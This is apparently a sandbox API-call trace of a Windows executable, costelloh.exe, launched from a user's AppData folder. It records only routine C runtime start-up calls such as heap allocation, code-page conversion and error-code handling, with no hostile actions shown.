	[0206.769] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0206.769] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsAlloc") returned 0x74af4ae0
	[0206.769] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsGetValue") returned 0x74af4b20
	[0206.769] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsSetValue") returned 0x74af4b40
	[0206.769] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsFree") returned 0x74af4b00
	[0206.770] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x214) returned 0xd205a8
	[0206.770] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0206.770] GetCurrentThreadId () returned 0x688
	[0206.770] GetStartupInfoW (in: lpStartupInfo=0x1afd88 | out: lpStartupInfo=0x1afd88*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x13771aa, hStdOutput=0x13774e3, hStdError=0xd205a8)) 
	[0206.770] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x800) returned 0xd207c8
	[0206.770] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0206.770] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0206.770] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0206.770] SetHandleCount (uNumber=0x20) returned 0x20
	[0206.770] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe\" "
	[0206.770] GetEnvironmentStringsW () returned 0x62f9a8*
	[0206.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410
	[0206.771] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x582) returned 0xd20fd0
	[0206.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0xd20fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410
	[0206.771] FreeEnvironmentStringsW (penv=0x62f9a8) returned 1
	[0206.771] GetLastError () returned 0xcb
	[0206.771] SetLastError (dwErrCode=0xcb) 
	[0206.771] GetLastError () returned 0xcb
	[0206.771] SetLastError (dwErrCode=0xcb) 
	[0206.771] GetLastError () returned 0xcb
	[0206.771] SetLastError (dwErrCode=0xcb) 
	[0206.771] GetACP () returned 0x4e4
	[0206.771] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x220) returned 0xd21560
	[0206.771] GetLastError () returned 0xcb
	[0206.771] SetLastError (dwErrCode=0xcb) 
	[0206.771] IsValidCodePage (CodePage=0x4e4) returned 1
	[0206.771] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1afd50 | out: lpCPInfo=0x1afd50) returned 1
	[0206.771] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1af81c | out: lpCPInfo=0x1af81c) returned 1
	[0206.771] GetLastError () returned 0xcb
	[0206.771] SetLastError (dwErrCode=0xcb) 
	[0206.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afc30, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afc30, cbMultiByte=256, lpWideCharStr=0x1af598, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ➠鞍鲧ķĀ") returned 256
	[0206.771] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ➠鞍鲧ķĀ", cchSrc=256, lpCharType=0x1af830 | out: lpCharType=0x1af830) returned 1
	[0206.772] GetLastError () returned 0xcb
	[0206.772] SetLastError (dwErrCode=0xcb) 
	[0206.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afc30, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afc30, cbMultiByte=256, lpWideCharStr=0x1af568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ骫ķĀ") returned 256
	[0206.772] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ骫ķĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0206.772] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ骫ķĀ", cchSrc=256, lpDestStr=0x1af358, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0206.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x1afb30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa9\xba\xdb\x73\x68\xfd\x1a", lpUsedDefaultChar=0x0) returned 256
	[0206.772] GetLastError () returned 0xcb
	[0206.772] SetLastError (dwErrCode=0xcb) 
	[0206.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afc30, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afc30, cbMultiByte=256, lpWideCharStr=0x1af588, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ骫ķĀ") returned 256
	[0206.772] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ骫ķĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0206.772] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ骫ķĀ", cchSrc=256, lpDestStr=0x1af378, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0206.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x1afa30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa9\xba\xdb\x73\x68\xfd\x1a", lpUsedDefaultChar=0x0) returned 256
	[0206.772] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x137f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0206.772] GetLastError () returned 0x0
	[0206.772] SetLastError (dwErrCode=0x0) 
	[0206.772] GetLastError () returned 0x0
	[0206.772] SetLastError (dwErrCode=0x0) 
	[0206.772] GetLastError () returned 0x0
	[0206.772] SetLastError (dwErrCode=0x0) 
	[0206.772] GetLastError () returned 0x0
	[0206.772] SetLastError (dwErrCode=0x0) 
	[0206.772] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.773] SetLastError (dwErrCode=0x0) 
	[0206.773] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.774] SetLastError (dwErrCode=0x0) 
	[0206.774] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
